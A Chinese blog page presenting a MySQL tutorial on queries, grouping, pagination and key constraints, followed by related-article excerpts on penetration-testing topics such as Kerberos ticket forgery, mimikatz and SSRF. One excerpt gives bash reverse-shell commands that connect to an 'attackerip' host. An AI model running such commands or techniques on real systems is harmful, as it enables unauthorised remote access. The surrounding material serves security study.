Stoker的数据库学习之基本语句(二)

2023-05-16

数据库学习之基本语句(二)

DQL语句 对数据库中的数据进行查询(简单查询)

我们用下图的emp表来进行操作:
在这里插入图片描述

1 . 去除重复数据 DISTINCT
注意:需要查询的所有数据完全相同才能去除重复的
查询emp表中所有薪金:

SELECT  DISTINCT ename,sal FROM emp;

2 . 查看雇员的月薪与佣金之和
sal+comm 两列值相加并形成新的字段
值和null相加 只能返回null

SELECT ename,sal+comm FROM emp;
## 如果comm是null 就用参数2代替
SELECT ename,sal+IFNULL(comm,0) FROM emp;
## 给查询字段起别名 AS(可以省略)
SELECT ename,sal+IFNULL(comm,0) total FROM emp ;

3 . 排序 关键词 ORDER BY
默认是升序(asc) 降序desc
查询所有学生记录,按年龄升序排序

SELECT * FROM stu ORDER BY age;

查询所有学生记录,按年龄降序排序

SELECT * FROM stu ORDER BY age DESC;

查询所有雇员,按月薪降序排序,如果月薪相同时,按编号升序排序。

SELECT * FROM emp ORDER BY sal DESC,empno DESC;

4.聚合函数 sum avg max min count(总记录数)
查询emp表中记录数

SELECT COUNT(*) FROM emp;
## 可以去除null值 
SELECT COUNT(comm) comm_count FROM emp;

查询emp表中月薪大于2500的人数:

SELECT COUNT(*) FROM emp WHERE sal>2500;

统计月薪与佣金之和大于2500元的人数

SELECT COUNT(*) FROM emp WHERE sal+IFNULL(comm,0)>2500;

注意查询时要保证要查询的字段记录数对等
查询有佣金的人数,有领导的人数:

SELECT COUNT(comm),COUNT(mgr) FROM emp ;

查询所有雇员月薪和、佣金和

SELECT SUM(sal) FROM emp;
SELECT SUM(comm) FROM emp;

查询所有雇员月薪和,以及所有雇员佣金和

SELECT SUM(sal),SUM(comm) FROM emp;

查询所有雇员月薪+佣金和

SELECT SUM(sal+IFNULL(comm,0)) total FROM emp;

统计所有员工平均工资:

SELECT AVG(comm) FROM emp;

查询最高工资和最低工资:

SELECT MAX(sal),MIN(sal) FROM emp;

5 .分组查询 GROUP BY
注意:按什么分组 前面的字段就是什么
保证查询结果数量对等

查询每个部门的部门编号和每个部门的工资和

SELECT deptno,SUM(sal) FROM emp GROUP BY deptno

查询每个部门的部门编号以及每个部门的人数:

SELECT deptno,COUNT(*) FROM emp GROUP BY deptno;

查询每个部门的部门编号以及每个部门工资大于1500的人数
WHERE条件 要加再group by 的前面

SELECT deptno,COUNT(*) FROM emp WHERE sal>1500 GROUP BY deptno ;

查询工资总和大于9000的部门编号以及工资和

SELECT deptno,SUM(sal) FROM emp GROUP BY deptno HAVING SUM(sal)>9000 ;

注意:where与having使用区别
1).where后不能使用聚合函数
2).分组后如果要添加筛选条件要使用 HAVING 关键词
3).HAVING后可以使用聚合函数
4).WHERE是在分组前筛选
5).HAVING是在分组后筛选

6.分页查询 关键词 LIMIT(MySQL方言)
LIMIT 从第几条开始显示的数据 ,一共显示多少数据
从第0条开始显示
起始页 = (pagesize-1)* count
LIMIT (pagesize-1)* count,count
LIMIT 要在所有条件之后写

SELECT * FROM emp LIMIT 0,3;
SELECT * FROM emp LIMIT 3,3;

7 .模糊查询 LIKE
使用占位符
% 多个字符
_ 一个下划线 表示一个字符

SELECT * FROM emp WHERE ename LIKE 'S%';

完整性

数据完整性(保证用户插入的数据是有效的)
引用完整性(多张表依赖的关系)
域完整性(一个单元格的完整性)
实体完整性(一条数据的完整性)

主键(唯一且不能为空)用于精准删除
唯一键(唯一但可以为空)
主键自增

设置主键方法一
关键词 PRIMARY KEY

CREATE TABLE stu1 (
sid INT PRIMARY KEY,
sname VARCHAR(50)
);

设置主键方法二

CREATE TABLE stu2(
sid INT ,
sname VARCHAR(50),
PRIMARY KEY(sid)
);

方法二可以创建联合主键, 两个字段 同时当主键

CREATE TABLE stu3(
classid INT,
sid INT ,
sname VARCHAR(50),
PRIMARY KEY(classid,sid)
);

注意:联合主键都相同才算重复

方法三 先创建表 再添加主键约束

CREATE TABLE stu4(
sid INT,
sname VARCHAR(50)

);
## 添加主键约束
ALTER TABLE stu4 ADD CONSTRAINT PRIMARY KEY(sid);
## 删除主键约束 注意:删除主键不用约束
ALTER TABLE stu4 DROP PRIMARY KEY ;

唯一键约束

CREATE TABLE stu5(
sid INT PRIMARY KEY,
sname VARCHAR(50) UNIQUE
);

主键自增

CREATE TABLE stu6(
sid INT PRIMARY KEY auto_increment,
sname VARCHAR(50) UNIQUE
);
INSERT INTO stu6(
sname
)VALUES(
'王一'
);
INSERT INTO stu6(
sname
)VALUES(
'王二'
);
INSERT INTO stu6(
sid,sname
)VALUES(
NULL,'王三'
);

主键只能自增 删除了也不会倒退
插入时可以给null 让系统自增

域完整性:
not null
default(默认值)
字段类型

CREATE TABLE stu7(
sid int PRIMARY KEY auto_increment,
sname VARCHAR(50) NOT NULL,
sgender VARCHAR(50) DEFAULT '男'
);
INSERT INTO stu7(sname)
VALUES('haha1');

注意:
有默认值约束时 直接插入null 可以
要使用默认值 可以不差入该字段(跟主键不同)

引用完整性(参照物约束)
表和表之间的关系
一对一(较少) 一对多 多对多(常用)

一对多关系:
学生表(主) 和 分数表(从) 可以通过外键来建立两张表之间的关系
建立外键方法一
明确外键在从表中

CREATE TABLE student(
sid INT PRIMARY KEY,
sname VARCHAR(50)
);
## 外键别名规范 fk_主表名_从表名_字段名
## CONSTRAINT 外键别名 FOREIGN KEY 从表字段(从表中的关联字段) REFERENCES 主表名(主表中的关联字段)
CREATE TABLE score(
sid INT,
score INT,
CONSTRAINT fk_student_score_sid
FOREIGN KEY (sid) REFERENCES student (sid)
);

建立外键方式二

CREATE TABLE student1(
sid INT PRIMARY KEY,
sname VARCHAR(50)
);
CREATE TABLE score1(
sid INT,
score INT

);
## 添加外键约束
ALTER TABLE score1 ADD CONSTRAINT fk_student1_score1_sid
FOREIGN KEY (sid) REFERENCES student1 (sid);
## 删除外键(一个表中可能有多个外键)
ALTER TABLE score1 DROP FOREIGN KEY fk_student1_score1_sid;

多对多关系 :
老师表和学生表
中间表来表示多对多关系
外键在中间表 两个外键

CREATE TABLE teacher(
tid INT PRIMARY KEY,
tname VARCHAR(50)
);
CREATE TABLE studentX(
sid INT PRIMARY KEY,
sname VARCHAR(50)
);
## 中间表
CREATE TABLE teacher_studentX(
tid INT,
sid INT
);
ALTER TABLE teacher_studentX ADD CONSTRAINT fk_teacher_studentX_tid
FOREIGN KEY (tid) REFERENCES teacher(tid);
ALTER TABLE teacher_studentX ADD CONSTRAINT fk_teacher_studentX_sid
FOREIGN KEY (sid) REFERENCES studentX(sid);
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Stoker的数据库学习之基本语句(二) 的相关文章

  • AM、PM是上午和下午的英文缩写、英文缩写(英语星期月份等)

    原文地址为 xff1a AM PM是上午和下午的英文缩写 英文缩写 英语星期月份等 十二小时制是一个时间规则把一日24小时分为两个时段 xff0c 分别为上午 xff08 a m xff0c 拉丁文ante meridiem表示中午之前 x
  • str_replace函数详解

    原文地址为 xff1a str replace函数详解 在开发过程中 xff0c 字符串的操作是很频繁的 xff0c 这几天有看PHP手册中讲解str replace函数的讲解 xff0c 不是很明白 xff0c 特作如下笔记 xff0c
  • Apache开启 目录浏览 功能

    Apache配置支持目录浏览 主配置文件 httpd conf 中修改 xff1a 在配置文件那里添加如下内容 1 2 3 4 5 6 7 8 9 10 Directory 34 文件绝对路径 34 gt 开启目录列表索引模式 Option
  • 文件上传漏洞原理及绕过

    文章目录 文件上传的原理 文件上传的危害 绕过方式 1 JS前端绕过原理 1 1 攻击流程 1 2 绕过 1 2 1使用BurpSuite 1 2 2 禁用或删除JavaScript代码 2 白名单绕过原理 2 1 攻击流程 2 1 1 0
  • 内网渗透之域环境搭建详细教程

    文章目录 1 设置IP 2 部署域控 2 1 安装活动目录和DNS服务 2 2 提升服务器为域控 2 3 部署配置 2 4 域控制器选项 2 5 先决条件检查 3 将其他两台服务器加入域 4 创建AD域用户 1 设置IP 设置 gt NAT
  • 域内用户枚举与密码喷洒

    文章目录 1 用户名枚举 1 1 原理 1 2 工具 1 3 用法 2 密码喷洒 2 1 原理 2 2 工具 2 3 用法 1 用户名枚举 1 1 原理 域内用户可以在没有域内有效凭据下 枚举出域内所存在的用户名 从而可以进行密码喷洒 在K
  • 本地文件包含原理常见的函数及利用

    文章目录 1 原理 2 PHP文件包含函数 3 攻击流程 4 代码 5 防范 1 原理 本地文件包含漏洞 Local File Inclusion LFI 是一种常见的 Web 应用程序漏洞 仅能够对服务器本地的文件进行包含 由于服务器上的
  • 黄金票据原理制作与利用

    文章目录 原理 攻击场景 利用前提 生成流程 获取域名 获取SID 获取域的krbtgt ntml hash 伪造票据 传递票据注入内存 总结 原理 黄金票据 golden ticket 攻击是一种滥用 Kerberos 身份认证协议的攻击
  • 白银票据原理制作与利用

    文章目录 原理 利用条件 利用前提 生成流程 获取服务账号HASH 获取域SID 获取域名 获取名称 制造票据 票据注入内存前后对比 总结 原理 白银票据是伪造的Silver Ticket ST 它可以让你访问服务器上的指定服务 但是不能访
  • Nestjs框架快速入门:安装与启动

    Nestjs框架快速入门 安装与启动 Nest 是构建高效可扩展的 Node js Web 应用程序的框架 Nest 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node versio
  • mimikatz常见命令

    文章目录 1 mimikatz简介2 命令2 1 常用命令2 2 privilege debug2 3 sekurlsa logonpasswords 1 mimikatz简介 Mimikatz 是一款用于提取 Windows 系统中用户凭
  • 内网中快速定位域管理员

    文章目录 1 攻击手法 1 1 日志分析 1 2 会话分析 2 工具 2 1 psloggedon exe 2 1 1 简介 2 1 2 下载地址 2 1 3 用法 2 2 netview exe 2 2 1 简介 2 2 2 下载地址 2
  • 获取RDP凭据密码

    1 简介 1 1 RDP Windows 自带的远程桌面功能非常强大 并且被广泛使用 因此 获取远程桌面凭证可以为渗透测试中的横向移动提供有利条件 横向移动是指在已经渗透到网络内部的情况下 继续在网络内部渗透的过程 通过获取远程桌面凭证 攻
  • phpstudy小皮面板RCE漏洞_XSS盲打

    1 漏洞描述 最近爆出的phpstudy小皮面板存在RCE漏洞 xff0c 通过分析和复现发现是一个存储型xss漏洞导致的RCE xff0c 这是一个很简单的1click的RCE xff0c 通过系统登录用户名输入出的xss配合系统后台自动
  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体
  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1

随机推荐

  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys
  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x
  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入
  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6
  • 公车艳遇_习惯累积沉淀_新浪博客

    今天坐b1我又跟女生们年轻小姑娘挤在了一起 用她们们是们凸凹优质的身材把我挤在门上脚都挨不着地 当然没这么严重 反正一路上脸都有点烫 一路上都不自觉的猥琐笑容 下了车还在压抑着笑 一低头就不小心笑出声
  • [转载]动物伦理,为了人的尊严_习惯累积沉淀_新浪博客

    原文地址 xff1a 动物伦理 xff0c 为了人的尊严 作者 xff1a 评论员李铁 道德就是拿火腿肠喂流浪狗喂到心碎流泪 xff0c 而完全不用去顾虑猪的感受 这是一位网友对爱狗人士拯救流浪狗的讥讽 xff0c 不少人觉得这句话绝妙 x
  • GitLab的安装部署

    微信公众号 xff1a 运维开发故事 xff0c 作者 xff1a double冬 本文主要讲述了GitLab安装部署的两种方式 xff0c 以及遇到的一些问题 一 GitLab Server的搭建 参考 xff1a https about
  • Linux常用的软件包管理命令

    RPM xff08 红帽软件包管理器 xff09 常用的 RPM 软件包命令 命令作用安装软件的命令格式rpm ivh filename rpm升级软件的命令格式rpm Uvh filename rpm卸载软件的命令格式rpm e file
  • 解决linux系统挂载NTFS格式磁盘的问题

    一般情况下 xff0c Linux是识别不了NTFS格式移动硬盘的 xff08 需要重编译Linux核心才能 xff0c 加挂NTFS分区 xff09 xff0c 这时候为了能让Linux服务器能够识别NTFS的移动硬盘 xff0c 就必须
  • Win10提示“某些设置由你的组织来管理”的解决办法

    Win10提示 某些设置由你的组织来管理 的解决办法 2015 12 23 来源 xff1a Windows 10 人气 xff1a 443 有IT圈网友询问 xff0c 在Win10设置中出现了 某些设置由你的组织来管理 的提示 xff0
  • Stoker的数据库学习之基本语句(二)

    数据库学习之基本语句 xff08 二 xff09 DQL语句 对数据库中的数据进行查询 xff08 简单查询 xff09 我们用下图的emp表来进行操作 xff1a 1 去除重复数据 DISTINCT 注意 xff1a 需要查询的所有数据完